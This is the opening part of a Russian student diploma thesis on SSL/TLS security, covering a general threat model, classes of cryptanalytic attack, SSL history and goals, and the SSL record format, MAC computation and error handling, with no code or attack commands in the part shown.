Анализ защищенности протокола SSL/TLS при использовании криптопримитивов
Работа из раздела: «
Программирование, компьютеры и кибернетика»
2
ДИПЛОМНАЯ РАБОТА
Анализ защищенности протокола SSL/TLS при использовании криптопримитивов
СОДЕРЖАНИЕ
сеть протокол атака защита
ПЕРЕЧЕНЬ УСЛОВНЫХ ОБОЗНАЧЕНИЙ СИМВОЛОВ, ЕДИНИЦ, СОКРАЩЕНИЙ И ТЕРМИНОВ
ВВЕДЕНИЕ
1. МОДЕЛЬ УГРОЗ ДЛЯ WEB-ТРАНЗАКЦИИ
1.1 Методы защиты Web-транзакции
1.2 Введение в протоколы
1.3 Существующие угрозы для протоколов
1.4 Архитектура «клиент-сервер»
1.5 Роль протоколов TLS и SSL в обеспечении защищенного взаимодействия через открытые сети
1.5.1 Цели протокола SSL/TLS
1.6 Обзор протокола SSL
1.6.1 Структура протокола SSL
1.6.1.1 Формат заголовка записи SSL
1.6.1.2 Формат информационных записей SSL
1.6.1.3 Обработка ошибок в протоколе SSL
1.6.1.4 Протокольные сообщения клиента
1.6.1.5 Протокольные сообщения сервера
1.6.1.6 Принцип предоставления прав клиенту
1.7 Работа с протоколом SSL средствами OpenSSL
1.8 Совместимость протоколов TLS и SSL
1.9 Выводы по разделу
2 АНАЛИЗ ЗАЩИЩЕННОСТИ ПРОТОКОЛА SSL/TLS
2.1 Модель угроз протокола SSL
2.1.1 Атака открытого текста
2.1.1.1 Методы предотвращения атаки на открытый текст
2.1.2 Использование «закладок» для атаки раскрытия выбранного открытого текста
2.1.2.1 Методы борьбы с «закладками»
2.1.3 Атака раскрытия шифров
2.1.4 Ошибка в программном продукте
2.1.5 Организация атаки в Outlook
2.1.6 Атака отклика
2.1.7 Атака «посредника»
2.1.7.1 Настройка Apache на использование клиентских сертификатов
2.1.7.2 Создание клиентских сертификатов
2.1.8 Пример атаки на IDS
2.1.9 Туннелирование атак посредством протокола SSL
2.1.10 Схема высокоуровневой атаки
2.1.11 Атака, основанная на уязвимости RSA
2.1.11.1 Планирование и распространение атаки Bleichenbacher
2.1.11.2 Атаки на протокол TLS методом понижения версии
2.1.12.1 Избегание атак понижения версии посредником
2.2 Моделирование Dos-атаки на протокол SSL
3. БЕЗОПАСНОСТЬ ЖИЗНИ И ДЕЯТЕЛЬНОСТИ ЧЕЛОВЕКА
3.1 Анализ условий труда
3.2 Техника безопасности
3.3 Производственная санитария и гигиена труда
3.4 Пожарная профилактика
4. ТЕХНИКО-КОММЕРЧЕСКОЕ ОБОСНОВАНИЕ
4.1 Расчет расходов на маркетинг
4.2 Расчет затрат на сбыт и коммерческую поддержку
4.3 Расчет затрат на разработку
4.4 Расчет затрат на тиражирование
4.5 Расчет полных затрат
4.6 Планирование пассива баланса
4.7 Планирование необходимой чистой прибыли и ожидаемого изменения актива
4.8 Расчет цены товара и финансового результата
4.9 Расчет операционных показателей
4.10 Расчет конкурентоспособности
4.11 Выводы по расчетам
ВЫВОДЫ
ПЕРЕЧЕНЬ CCЫЛОК
Приложение А
Приложение Б
Приложение В
Приложение Г
Приложение Д
ПЕРЕЧЕНЬ УСЛОВНЫХ ОБОЗНАЧЕНИЙ, СИМВОЛОВ, ЕДИНИЦ, СОКРАЩЕНИЙ И ТЕРМИНОВ
DES - стандарт шифрования данных (Data Encryption Standard);
RSA - стандарт шифрования, назван в честь создателей - Ривеста (Rivest), Шамира (Shamir) и Эдлмана (Adleman);
DSA - алгоритм цифровой подписи, используется как часть стандарта цифровой подписи (Digital Signature Algorithm);
BVO - плохая версия (Bad version Oracle);
MAC - сообщение проверки целостности (Message Autentification Code).
ВВЕДЕНИЕ
В последнее время современный человек очень часто сталкивается с таким понятием, как Web-транзакция. В этот термин вкладывается большой смысл, Web-транзакции - это поток данных в глобальной среде Internet.
В представленной дипломной работе рассмотрены модель угроз и методы защиты для Web-транзакции. К данным методам относятся стандартные протоколы TLSSSL. Целью данной дипломной работы является проанализировать существующие атаки на протокол SSL/TLS и предложить методы борьбы с данными атаками. По статистике компании Microsoft через Интернет передаётся более 10 Тб информации в месяц, из них большая часть передаётся посредством SSL/TLS-протокола. И сегодня можно с уверенностью сказать, что тема данной дипломной работы вплотную связана с человеком XXI века, поскольку с этим термином мы сталкиваемся довольно часто, поэтому в этот термин вкладывается большой смысл.
Большое число организаций сейчас присоединяются к Интернету для того, чтобы воспользоваться преимуществами и ресурсами Интернета. Бизнесмены и государственные организации используют Интернет в самых различных целях - включая обмен электронной почтой, распространение информации среди заинтересованных лиц и проведение исследований. В данной дипломной работе были рассмотрены вопросы, связанные с безопасностью Web-транзакций, которые нужно учесть как организациям, собирающимся присоединиться к Интернету, так и организациям, уже присоединенным к Интернету. Также более подробно были рассмотрены существующие угрозы для протокола SSL. Зная принцип работы данного протокола и существующие атаки, мы сможем обеспечить нужную защиту передаваемым данным.
Для решения поставленной цели в дипломной работе решаются следующие задачи:
- проанализировать известные методы обеспечения безопасности Web-транзакций и выделить наиболее эффективные;
- изучить протокола SSL/TLS, как эффективный метод обеспечения защищенности Web-транзакций;
- проанализировать стойкость протокола SSL/TLS, изучить наиболее эффективные атаки на данный протокол;
- моделирование наиболее эффективной атаки на протокол SSL/TLS;
- предложить методы предотвращения приведенных атак.
1.МОДЕЛЬ УГРОЗ ДЛЯ WEB-ТРАНЗАКЦИЙ
Для того, чтобы рассматривать в дальнейшем вопросы безопасности в Internet, необходимо напомнить основные понятия, которыми оперирует теория компьютерной безопасности. Вообще говоря, их всего три: это угрозы, уязвимости и атаки [1].
Итак, угроза безопасности компьютерной системы - это потенциально возможное происшествие, неважно, преднамеренное или нет, которое может оказать нежелательное воздействие на саму систему, а также на информацию, хранящуюся в ней.
Уязвимость компьютерной системы - это некая ее неудачная характеристика, которая делает возможным возникновение угрозы.
Наконец, атака на компьютерную систему - это действие, предпринимаемое злоумышленником, которое заключается в поиске и использовании той или иной уязвимости.
Далее, обычно выделяют три основных вида угроз безопасности - это угрозы раскрытия, целостности и отказа в обслуживании.
Удаленные атаки можно классифицировать по следующим признакам:
- По характеру воздействия:
· пассивное (класс 1.1);
· активное (класс 1.2).
- По цели воздействия:
· нарушение конфиденциальности информации либо ресурсов системы;
· нарушение целостности информации;
· нарушение работоспособности (доступности) системы.
- По условию начала осуществления воздействия;
- По наличию обратной связи с атакуемым объектом:
· с обратной связью;
· без обратной связи (однонаправленная атака);
- По расположению субъекта атаки относительно атакуемого объекта:
· внутрисегментное;
· межсегментное.
- По уровню эталонной модели ISO/OSI, на котором осуществляется воздействие:
· физический;
· канальный;
· сетевой;
· транспортный;
· сеансовый;
· представительный;
· прикладной.
Угроза маскировки под других заключается в том, что, используя маршрутизацию IP-источника, хост атакующего может замаскироваться под доверенный хост или под клиента.
На рисунке 1.1 представлена модель угроз.
Рисунок 1.1 Модель угроз
1. Пользователь 1
2. Устройство Аутентификации П1
3. Криптоаналитик (злоумышленник)
4. Телекоммуникационные системы
5. Источник ключей
6. Устройство Аутентификации П2
7. Пользователь 2
1.1 Методы защиты Web-транзакции
Ещё несколько лет назад криптографические системы применялись лишь в исключительных случаях: в спецслужбах и иных критических к безопасности данных системах. Однако в настоящее время бурное развитие компьютерных сетей и Интернета заставляет задумываться об обеспечении безопасности всё большее количество людей.
Криптографические методы защиты - это специальные методы шифрования, кодирования или иного преобразования информации, в результате которого ее содержание становится недоступным без предъявления ключа криптограммы и обратного преобразования. Криптографический метод защиты, безусловно, самый надежный метод защиты и реализуется в виде программ или пакетов программ, расширяющих возможности стандартной операционной системы [2].
Существует множество криптографических алгоритмов. Следующие три используются чаще всего:
- DES
- RSA
- DSA.
Метод цифровой подписи - активно продвигается Американской ассоциацией банкиров (American Bankers Association). Компания Microsoft анонсировала свой собственный проект развития средств цифровой подписи.
При обеспечении безопасности электронной коммерции, сетевым администраторам следует выделить следующие механизмы безопасности:
- шифрование;
- цифровая подпись;
- механизм управления доступом;
- механизмы контроля целостности данных;
- механизмы аутентификации;
- механизмы дополнения трафика;
- механизмы управления маршрутизацией;
- автоматическое протоколирование и аудит.
Самым надежным методом защиты информации на данный момент являются протоколы, именно этой теме и посвящена данная дипломная работа.
1.2 Введение в протоколы
Криптография решает проблемы секретности, проверки подлинности, целостности, доступности, наблюдаемости и конфиденциальности данных. Можно выучить всё о криптографических алгоритмах и методах, но они представляют только академический интерес, если не используются для решения какой-нибудь проблемы. Именно поэтому в данной дипломной работе рассматривается протокол SSL/TLS, который использует различные криптопримитивы для обеспечения защищенности Web-транзакций.
Протокол - это порядок действий, предпринимаемых двумя или более сторонами, предназначенный для решения определенной задачи. Каждое действие должно выполняться в свою очередь и только после окончания предыдущего. У протоколов есть также характеристики:
Каждый протокол организован как некоторый порядок действий. Выполнение протокола происходит по действиям, линейно, пока не будет команды перейти к следующему действию. Далее рассмотрим существующие виды протоколов.
Криптографический протокол - это протокол, использующий криптографию. Смысл использования криптографии в протоколе - в предотвращении или обнаружении действий криптоаналитика.
Протоколы с посредником. Посредник - это незаинтересованная третья сторона, которой доверено завершение протокола. Незаинтересованность означает, что у посредника нет заинтересованности в результате работы протокола и склонности к одной из сторон. Следовательно, все участники протокола принимают все, что скажет посредник за истину, все его действия - как правильные.
Арбитражные протоколы. Используемый из-за высокой стоимости найма посредников, арбитражный протокол может быть разбит на два подпротокола нижнего уровня. Первый представляет собой протокол без посредника, используемый при желании сторон выполнить протокол. Другой представляет собой протокол с посредником. Соответствующий специальный посредник называется арбитром. В отличие от посредника он непосредственно не принимает участия в каждой отдельной реализации протокола и приглашается только для проверки честности выполнения протокола сторонами. По такому принципу действует протокол SSL/TLS.
Самодостаточные протоколы является лучшим типом протокола. Он полностью обеспечивает честность сторон. Для выполнения протокола не нужен ни посредник, не решающий споры арбитр. Если одна из сторон попытается смошенничать, мошенничество будет немедленно обнаружено другой стороной, и протокол прекратит выполняться. К несчастью, не существует самодостаточных протоколов для каждой ситуации.
1.3 Существующие угрозы для протоколов
Криптографические попытки взлома могут быть направлены против криптографических алгоритмов, используемых в протоколах, против криптографических методов, используемых для реализации алгоритмов или непосредственно против протоколов.
Люди могут использовать множество способов взломать протокол. Некоторые, не являясь участниками протокола, могут 'подслушивать' какую-то часть или весь протокол. Это называется пассивным вскрытием, так как взломщик не воздействует на протокол. Все, что он может сделать - это проследить за протоколом и попытаться добыть информацию. Этот тип вскрытия соответствует вскрытию с использованием только шифротекста. Так как пассивные вскрытия трудно обнаружить, протоколы стремятся предотвращать, а не обнаруживать их. В другом случае взломщик может попытаться изменить протокол для собственной выгоды. Он может выдать себя за другого, ввести новые сообщения в протокол, заменить одно сообщение другим, повторно передать старые сообщения, разорвать канал связи или изменить хранящуюся в компьютере информацию. Такие действия называются активным вскрытием, так как они требуют активного вмешательства. Эти формы вскрытия зависят от вида сети.
Далее приведены существующие угрозы вскрытия:
- Вскрытие с использованием только шифротекста. Задача криптоаналитика состоит в раскрытии открытого текста как можно большего числа сообщений или, что лучше, получении ключа (ключей), использованного для шифрования сообщений, для дешифрирования других сообщений, зашифрованных теми же ключами.
- Вскрытие с использованием открытого текста. У криптоаналитика есть доступ не только к шифротекстам нескольких сообщений, но и к открытому тексту этих сообщений. Его задача состоит в получении ключа (или ключей), использованного для шифрования/дешифрировании сообщений, зашифрованных тем же ключом (ключами).
- Вскрытие с использованием выбранного открытого текста. У криптоаналитика не только есть доступ к шифротекстам и открытым текстам нескольких сообщений, но и возможность выбирать открытый текст для шифрования. Его задача состоит в получении ключа (или ключей), использованного для шифрования сообщений, или алгоритма, позволяющего дешифрировать новые сообщения, зашифрованные тем же ключом.
- Адаптивное вскрытие с использованием открытого текста. Это частный случай вскрытия с использованием выбранного открытого текста. Криптоаналитик не только может выбирать шифруемый текст, но также может строить свой последующий выбор на базе полученных результатов шифрования. При вскрытии с использованием выбранного открытого текста криптоаналитик мог выбрать для шифрования только один большой блок открытого текста, при адаптивном вскрытии с использованием выбранного открытого текста он может выбрать меньший блок открытого текста, затем выбрать следующий блок, используя результаты первого выбора и так далее.
- Вскрытие с использованием выбранного шифротекста. Криптоаналитик может выбрать различные шифротексты для дешифрирования и имеет доступ к дешифрированным открытым текстам.
- Вскрытие с использованием выбранного ключа. Такой тип вскрытия означает не то, что криптоаналитик может выбирать ключ, а что у него есть некоторая информация о связи между различными ключами. Это странный, запутанный и не очень практичный тип вскрытия.
- Вскрытие несимметричных алгоритмов с использованием открытых ключей. Существуют алгоритмы с открытыми ключами, которые можно использовать для цифровых подписей. В некоторых алгоритмах - примером является RSA - для шифрования может быть использован или открытый, или закрытый ключ. Зашифруйте документ своим закрытым ключом, и вы получите надежную цифровую подпись. В других случаях - примером является DSA - для цифровых подписей используется отдельный алгоритм, который невозможно использовать для шифрования. Эта идея впервые была изобретена Диффи и Хеллманом и в дальнейшем была расширена и углублена в других работах. Этот протокол гораздо лучше предыдущего.
- Вскрытие с использованием цифровой подписи. Даже если открытые ключи хранятся в надежной базе данных, злоумышленник может подменить их при передаче. Чтобы воспрепятствовать этому, посредник должен подписывать каждый открытый ключ, используя свой собственный закрытый ключ. Посредник, который действует подобным образом, часто называют Органом сертификации ключей или Центром распределения ключей (Key Distribution Center, KDC). На практике KDC подписывает сложное сообщение, состоящее из имени пользователя, его открытого ключа и другой информации о пользователе. Это подписанное сложное сообщение и хранится в базе данных KDC. Когда получатель получает ключ отправителя, он проверяет подпись KDC, удостоверяясь в правильности ключа. Получатель же должен откуда-то получить открытый ключ KDC. Злоумышленнику нужно подменить этот ключ своим открытым ключом, испортить базу данных и заменить правильные ключи своими (подписанными его закрытым ключом, как если бы он и был KDC), и его дело сделано. Но, даже подписи на бумаге могут быть подделаны, если злоумышленник всерьез возьмется за дело.
1.4 Архитектура «клиент-сервер»
Чтобы понять принцип взаимодействия между клиентской машиной и сервером, рассмотрим архитектуру «клиент-сервер». Некоторые пытаются противопоставить Web-технологию архитектуре «клиент-сервер», однако это заблуждение, поскольку на самом деле Web является развитием данной архитектуры. Можно даже сказать, что система Web имеет архитектуру «клиент-сервер», т. е. с помощью одного клиента можно подключиться ко многим серверам.
По праву, на технологии «клиент-сервер» держится современный мир компьютерных сетей. Но те задачи, для решения которых она была разработана, постепенно уходят в прошлое, и на сцену выходят новые задачи и технологии, требующие переосмысления принципов клиент - серверных систем. Одна из таких технологий - World Wide Web [2].
Одним из перспективных способов решения этой проблемы являются многоуровневые архитектуры «клиент-сервер». Чтобы понять их преимущества, рассмотрим подробнее обычную клиент - серверную систему (см. Рисунок 1.2).
Рисунок 1.2 - «Клиент - сервер»
Сегодня технология «клиент-сервер» лишь дает общее представление о том, как должна быть организована современная распределенная информационная система. В то же время реализации этой технологии в конкретных программных продуктах и даже в видах программного обеспечения различаются весьма существенно.
Выделяются три подхода, каждый из которых реализован в соответствующей модели:
- модель доступа к удаленным данным (Remote Date Access - RDA);
- модель сервера базы данных (DateBase Server - DBS);
- модель сервера приложений (Application Server - AS).
Архитектура «клиент-сервер» лежит в основе всех протоколов, не исключением является протокол SSL/TLS.
1.5 Роль протоколов TLS и SSL в обеспечении защищенного взаимодействия через открытые сети
Один из подходов к решению проблемы безопасности в Интернете был предложен компанией Netscape Communications. Ею был разработан протокол SSL (Secure Sockets Layer) защищенного обмена информацией между клиентом и сервером. SSL требует применения надежного транспортного протокола (например, TCP).
Фирма Netscape начала заниматься защитой Web-транзакций с тех пор, как появились первые браузеры. Используя предыдущий опыт в данной области, Netscape разработала протокол SSL 1.0 (secure socket layer) . На рисунке 1.1 изображен процесс развития SSL, начиная с ноября 1993 года, когда был разработан первый Web-браузер. Спустя 5 месяцев был разработан протокол SSL 2.0. Позднее технологии, примененные в предыдущих 2-х версиях, вместил в себя протокол SSL 3.0. В мае 1996 г. разработкой SSL занялась IETF, которая занималась разработкой различных стандартов протоколов для Интернет, например TCP/IP. [6, 7] Чтобы избежать разногласий с другими компаниями IETF переименовало SSL в Transport Layer Security (TLS). Впервые официальная версия TLS вышла в январе 1999 г. Но между TLS 1.0 и SSL 3.0 не было особых различий.
Теперь несколько слов о реализации SSL. Наиболее распространенным пакетом программ для поддержки SSL является SSLeay. Последняя версия (SSLeay v. 0.9.8) поддерживает SSLv3. Эта версия доступна в исходных текстах. Этот пакет предназначен для создания и управления различного рода сертификатами. Так же в его состав входит и библиотека для поддержки SSL различными программами. Эта библиотека необходима, например, для модуля SSL в распространенном HTTP сервере Apache.
Рисунок 1.1 - История развития TLS и SSL
1.5.1 Цели протокола SSL/TLS
Целями протокола SSL/TLS в порядке приоритетности являются:
- Криптографическая безопасность. SSL/TLS должен использоваться для установления безопасного соединения между двумя партнерами;
- Совместимость. Независимые программисты должны быть способны разрабатывать приложения, использующие SSL/TLS, которые будут способны успешно обмениваться криптографическими параметрами без знания особенностей программ друг друга;
- Расширяемость. SSL/TLS ищет способ, как при необходимости встроить в систему новые ключи и методы шифрования. Здесь имеются две побочные цели: исключить необходимость создания нового протокола (что может быть сопряжено с введением новых слабых мест) и сделать ненужным внедрение новой библиотеки, обеспечивающей безопасность;
- Относительная эффективность. Криптографические операции требуют больших мощностей ЦПУ, особенно этим славятся операции с открытыми ключами. По этой причине, протокол SSL/TLS имеет опционную схему кэширования сессии, что позволяет уменьшить число соединений, устанавливаемых с использованием новых временных буферов. Были приняты меры, чтобы уменьшить сетевую активность [6,7].
Протокол TLS базируются на спецификации протокола SSL 3.0, опубликованного Netscape [6,7]. Различие между этим протоколом и SSL 3.0 не значительны, TLS 1.0 имеет механизм, с помощью которого приложения могут поддерживать SSL 3.0.
1.6 Обзор протокола SSL
Протокол SSL (secure socket layer) был разработан фирмой Netscape, как протокол, обеспечивающий защиту данных между сервисными протоколами (такими как HTTP, NNTP, FTP и т.д.) и транспортными протоколами (TCP/IP) (см. Рисунок 1.2.). Часто для него используется аббревиатура HTTPS [6].
Рисунок 1.2 - Взаимодействие SSL с другими протоколами
Протокол SSL предоставляет 'безопасный канал', который имеет три основные свойства:
- канал является частным. Шифрование используется для всех сообщений после простого диалога, который служит для определения секретного ключа. Для шифрования применяются: RC4_128, RC4_40, RC2_128, RC2_40, DES40 и др.;
- канал аутентифицирован. Серверная сторона диалога всегда аутентифицируется;
- канал надежен. Транспортировка сообщений включает в себя проверку целостности (с привлечением Message Autentification Code MAC, вычисляемых с помощью с помощью хэш-функций MD5).
Не секрет, что можно без особых технических усилий просматривать данные, которыми обмениваются между собой клиенты и серверы. Был даже придуман специальный термин для этого - sniffer. А в связи с увеличением объема использования Интернета в коммерческих целях, неизбежно вставал вопрос о защите передаваемых данных. И пользователи не очень были бы рады, если номер их кредитной карточки, был бы перехвачен, каким-нибудь предприимчивым хакером по дороге к виртуальному магазину. И, в общем, появление такого протокола как SSL было вполне закономерным явлением. С одной стороны остаются все возможности сервисных протоколов (для программ-серверов), плюс к этому все данные передаются в зашифрованном виде. И декодировать их довольно трудно. Следует отметить, что SSL не только обеспечивает защиту данных в Интернете, но так же производит опознание сервера и клиента (server/client authentication). Протокол SSL принят W3 консорциумом (W3 Consortium), как основной защитный протокол для клиентов и серверов (WWW browsers and servers) в сети Интернет.
Чаще всего, этот протокол используется в составе любого Интернет-ресурса, осуществляющего манипуляции с личными или финансовыми данными посещающих его пользователей Интернета. Чаще всего, это банки, Интернет - магазины или любые другие виртуальные места, в которых приходящие по своим делам пользователи, вынуждены передавать свои личные, и зачастую, секретные данные. Этого может потребовать и простая регистрация, и процедура оплаты какого-либо товара, или любая другая процедура, при которой пользователи вынуждены честно выдавать свои паспортные данные, PIN-ы и пароли. Используя обычный HTTP протокол, мы передаем и получаем информацию в чистом, не зашифрованном виде. Таким образом, передаваемая нами информация, может быть легко перехвачена, и использована посторонним человеком.
Следовательно, появляются два довольно веских довода, первый, передаваемую информацию надо шифровать, и второй, мы должны быть уверены, что передаем информацию именно туда, куда нужно. Именно для решения этих двух вопросов и используется SSL. Схема использования SSL показана на рисунке 1.3.
Рисунок 1.3 - Использование SSL
Протокол SSL реализуется в виде двухслойной (многослойной) среды, специально предназначенной для безопасного переноса секретной информации, через не засекреченные каналы связи. В качестве первого слоя, в такой среде используется некоторый надежный транспортный протокол; TCP к примеру. По слову 'транспортный', не трудно догадаться, что TCP берет на себя функции 'несущей', и в дальнейшем, становится извозчиком, для всех лежащих выше слоев (протоколов). Вторым по счету слоем, накладываемым на TCP, является протокол записей SSL (Record Protocol). Вместе, эти два слоя, TCP и SSL Record Protocol, формируют своеобразное ядро SSL. В дальнейшем, это ядро становится первичной герметизирующей оболочкой, для всех последующих более сложных протокольных инфраструктур [6]. В качестве одной из таких структур, используется протокол согласования SSL (Handshake Protocol) - позволяющий серверу и клиенту идентифицировать друг друга и согласовывать криптографические алгоритмы и ключи, перед тем как приложения, работающие на серверной и клиентской стороне, смогут начать передачу или прием информационных байтов в защищенном режиме.
Одним из не мало важных преимуществ SSL, является его полная программно-платформенная независимость. Протокол разработан на принципах переносимости, и идеология его построения, не зависит, от тех приложений, в составе которых он используется. Помимо этого, важно и то, что поверх протокола SSL, могут прозрачно накладываться и другие протоколы; либо для еще большего увеличения степени защиты целевых информационных потоков, либо, для адаптации криптографических способностей SSL под какую-нибудь другую, вполне определенную задачу. Протоколы верхнего уровня могут размещаться поверх протокола SSL прозрачным образом. Решение о том, как инициализировать SSL-диалог и как интерпретировать сертификаты аутентификации, оставляется на усмотрение разработчиков протоколов и программ, которые работают поверх SSL.
Вы начинаете использовать SSL в тот момент, когда вводите в адресной строке браузера URL начинающийся с аббревиатуры HTTPS. В результате, вы подключаетесь к порту за номером 443, который для SSL обычно используется по умолчанию; для стандартного HTTP соединения, чаще всего используется порт 80. В процессе подключения, браузер пользователя (в дальнейшем клиент), посылает серверу сообщение согласования (hello message). В свою очередь сервер, также должен посылать клиенту свое приветственное сообщение. Сообщения согласования, являются первичными, инициализирующими сообщениями и содержат информацию, используемую при дальнейшей настройке открываемого секретного канала. В общем случае, приветственное сообщение устанавливает четыре основных параметра: версия протокола, идентификатор сессии, способ шифрования, метод компрессии, а также, два специально сгенерированных случайных числа. Сервер и клиент генерируют такие числа независимо друг от друга, а затем, просто обмениваются ими друг с другом.
После получения сообщения согласования от клиента, сервер отсылает свой сертификат, если таковой у него имеется. Также, при необходимости, сервер может послать и некое ключевое сообщение, например в случае отсутствии сертификата. Если сервер авторизирован (т.е. имеет соответствующий сертификат), он может потребовать и клиентский сертификат, если того потребует выбранный способ шифрования данных. После этого, производится еще ряд промежуточных обменных операций, в процессе которых, производится окончательное уточнение выбранного алгоритма шифрования, ключей и секретов, и далее, сервер посылает клиенту некое финальное сообщение, после чего обе стороны приступают к обмену зашифрованной информации.
На практике, процесс обмена ключами и сертификатами, иногда может занимать относительно много времени. С этой целью, часто предусматривается возможность повторного использования одних и тех же идентификационных данных. Бывают ситуации, когда после установления соединения с SSL-сервером, у пользователя появляется желание открыть еще одно окно браузера, и через него, осуществить еще одно подключение к тому же SSL-серверу. В этом случае, чтобы не повторять весь цикл предварительных обменных операций, браузер может отправить серверу идентификатор сессии предыдущего соединения, и если сервер примет этот идентификатор, весь набор шифровочных и компрессионных параметров, будет взят от предыдущего соединения. Браузеры от Netscape, также могут осуществлять и так называемый 'keep alive' запрос. При этом по завершению передачи шифрованных данных, установленное SSL-соединение закрывается не сразу, а лишь по истечении некоторого времени.
Теперь рассмотрим, каким образом все-таки работает SSL. Представьте себе, что есть два человека, которые общаются посредством Интернета и соответственно не видят друг друга. И лишены возможности, узнать, о том кто же его абонент. Их имена - Алиса и Боб. Допустим Алисе надо, узнать действительно она разговаривает с Бобом или нет. В этом случае диалог может выглядеть следующим образом: Алиса отправляет Бобу случайное сообщение. Боб шифрует его с помощью своего приватного ключа и отправляет его Алисе. Алиса дешифрует это сообщение (с помощью публичного ключа Боба). И сравнив это сообщение с уже посланным сообщением, может убедиться в том, что его действительно послал Боб. Но на самом деле со стороны Боба не очень удачная идея шифровать сообщение от Алисы с помощью своего приватного ключа. И возвращать его. Это аналогично подписи документа, о которой Боб мало что знает. С такой позиции Боб должен сам придумать сообщение. И послать его Алисе в двух экземплярах. В первом сообщение передается открытым текстом, а второе сообщение зашифровано с помощью приватного ключа Боба. Такое сообщение называется message digest. А способ шифрования сообщения с помощью своего приватного ключа - цифровой подписью (digital signature) [6].
Теперь закономерно встает вопрос о том, каким образом распространять свои публичные ключи. Для этого (и не только) была придумана специальная форма - сертификат (certificate). Сертификат состоит из следующих частей: имя человека/организации выпускающего сертификат/для кого был выпущен данный сертификат (субъект сертификата)/публичный ключ субъекта/некоторые временные параметры (срок действия сертификата и т.п.). Сертификат подписывается приватным ключом человека (или организации), который выпускает сертификаты. Организации, которые производят подобные операции, называются Certificate authority (CA). Если в стандартном Web-клиенте (web-browser), который поддерживает SSL, зайти в раздел security, то там можно увидеть список известных организаций, которые подписывают сертификаты.
1.6.1 Структура протокола SSL
1.6.1.1 Формат заголовка записи SSL
В SSL все данные пересылаются в виде рекордов (записей), объектов, которые состоят из заголовка и некоторого количества данных. Каждый заголовок рекорда содержит два или три байта кода длины. Если старший бит в первом байте кода длины рекорда равен 1, тогда рекорд не имеет заполнителя и полная длина заголовка равна 2 байтам, в противном случае рекорд содержит заполнитель и полная длина заголовка равна 3 байтам. Передача всегда начинается с заголовка.
Заметим, что в случае длинного заголовка (3 байта), второй по старшинству бит первого байта имеет специальное значение. Когда он равен нулю, посылаемый рекорд является информационным. При равенстве 1, посылаемый рекорд является security escape (в настоящее время не определено ни одного значения security escapes; это зарезервировано для будущих версий протокола).
Заголовок рекорда определяет значение, называемое PADDING. Значение PADDING специфицирует число байтов добавленных отправителем к исходному рекорду. Данные заполнителя используются для того, чтобы сделать длину рекорда кратной размеру блока шифра, если применен блочный шифр.
Отправитель 'заполненного' рекорда добавляет заполнитель после имеющихся данных, а затем шифрует все это, так как длина этого массива кратна размеру блока используемого шифра. Содержимое заполнителя не играет роли. Так как объем передаваемых данных известен, заголовок сообщения может быть корректно сформирован с учетом объема PADDING.
Получатель этого рекорда дешифрует все поле данных и получает исходную информацию. После этого производится вычисление истинного значения RECORD-LENGTH (с учетом наличия опционного PADDING), при этом заполнитель из поля данные удаляется [6].
1.6.1.2 Формат информационных записей SSL
Часть данных рекорда SSL состоит из трех компонентов:
MAC-DATA[MAC-SIZE] ACTUAL-DATA[N] PADDING-DATA[PADDING]
ACTUAL-DATA представляет собой реальные переданные данные (поле данных сообщения). PADDING-DATA - это данные заполнителя, посылаемые, когда используется блочный код шифрования. MAC-DATA является кодом аутентификации сообщения (Message Authentication Code).
На рисунке 1.4 приведен принцип формирования SSL - записи.
Рисунок 1.4 - Принцип формирования SSL - записи
Когда рекорды SSL посылаются открытым текстом, никаких шифров не используется. Следовательно, длина PADDING-DATA будет равна нулю и объем MAC-DATA также будет нулевым. Когда используется шифрование, PADDING-DATA является функцией размера блока шифра. MAC-DATA зависит от CIPHER-CHOICE. MAC-DATA вычисляется следующим образом:
MAC-DATA = HASH [SECRET, ACTUAL-DATA, PADDING-DATA, SEQUENCE-NUMBER ]
Где SECRET передается хэш-функции первым, далее следует ACTUAL-DATA и PADDING-DATA, за которыми передается SEQUENCE-NUMBER. Порядковый номер (SEQUENCE-NUMBER) представляет собой 32-битовый код, который передается хэш-функции в виде 4 байт. Первым передается старший байт (т.е., используется сетевой порядок передачи - 'big endian').
MAC-SIZE является функцией используемого алгоритма вычисления дайджеста. Для MD2 и MD5 MAC-SIZE равен 16 байтам (128 битам).
Значение SECRET зависит от того, кто из партнеров посылает сообщение. Если сообщение посылается клиентом, тогда SECRET равен CLIENT-WRITE-KEY (сервер будет использовать SERVER-READ-KEY для верификации MAC). Если клиент получает сообщение, SECRET равен CLIENT-READ-KEY (сервер будет использовать SERVER-WRITE-KEY для генерации MAC).
SEQUENCE-NUMBER является счетчиком, который инкрементируется как сервером, так и получателем. Для каждого направления передачи, используется пара счетчиков (один для отправителя, другой для получателя). При отправлении сообщения счетчик инкрементируется. Порядковыми номерами являются 32-битовые целые числа без знака, которые при переполнении обнуляются [6].
Получатель сообщения использует ожидаемое значение порядкового номера для передачи хэш-функции MAC (тип хэш-функции определяется параметром CIPHER-CHOICE). Вычисленная MAC-DATA должна совпадать с переданной MAC-DATA. Если сравнение не прошло, рекорд считается поврежденным, такая ситуация рассматривается как случай 'I/O Error' (т.e. как непоправимая ошибка, которая вызывает закрытие соединения).
Окончательная проверка соответствия выполняется, когда используется блочный шифр и соответствующий протокол шифрования. Объем данных в рекорде (RECORD-LENGTH) должен быть кратным размеру блока шифра. Если полученный рекорд не кратен размеру блока шифра, рекорд считается поврежденным, при этом считается, что имела место 'I/O Error' (что вызовет разрыв соединения).
Уровень рекордов SSL используется для всех коммуникаций SSL, включая сообщения диалога и информационный обмен. Уровень рекордов SSL применяется как клиентом, так и сервером.
Для двухбайтового заголовка, максимальная длина рекорда равна 32767 байтов. Для трехбайтового заголовка, максимальная длина рекорда равна 16383 байтов. Сообщения протокола диалога SSL должны соответствовать одиночным рекордам протокола SSL (Record Protocol). Сообщения прикладного протокола могут занимать несколько рекордов SSL.
Прежде чем послать первый рекорд SSL все порядковые номера делаются равными нулю. При передаче сообщения порядковый номер инкрементируется, начиная с сообщений CLIENT-HELLO и SERVER-HELLO. В упрощенном варианте диалог SSL представлен на рисунке 1.5.
Рисунок 1.5 - Диалог SSL
1.6.1.3 Обработка ошибок в протоколе SSL
Обработка ошибок в протоколе соединений SSL весьма проста. Когда ошибка детектирована, обнаруживший её посылает своему партнеру сообщение. Ошибки, которые являются неустранимыми, требуют от клиента и сервера разрыва соединения. Серверы и клиент должны 'забыть' все идентификаторы сессии, сопряженные с разорванным соединением. Протокол диалога SSL определяет следующие ошибки:
- NO-CIPHER-ERROR. Эта ошибка присылается клиентом серверу, когда он не может найти шифр или размер ключа, который поддерживается также и сервером. Эта ошибка неустранима;
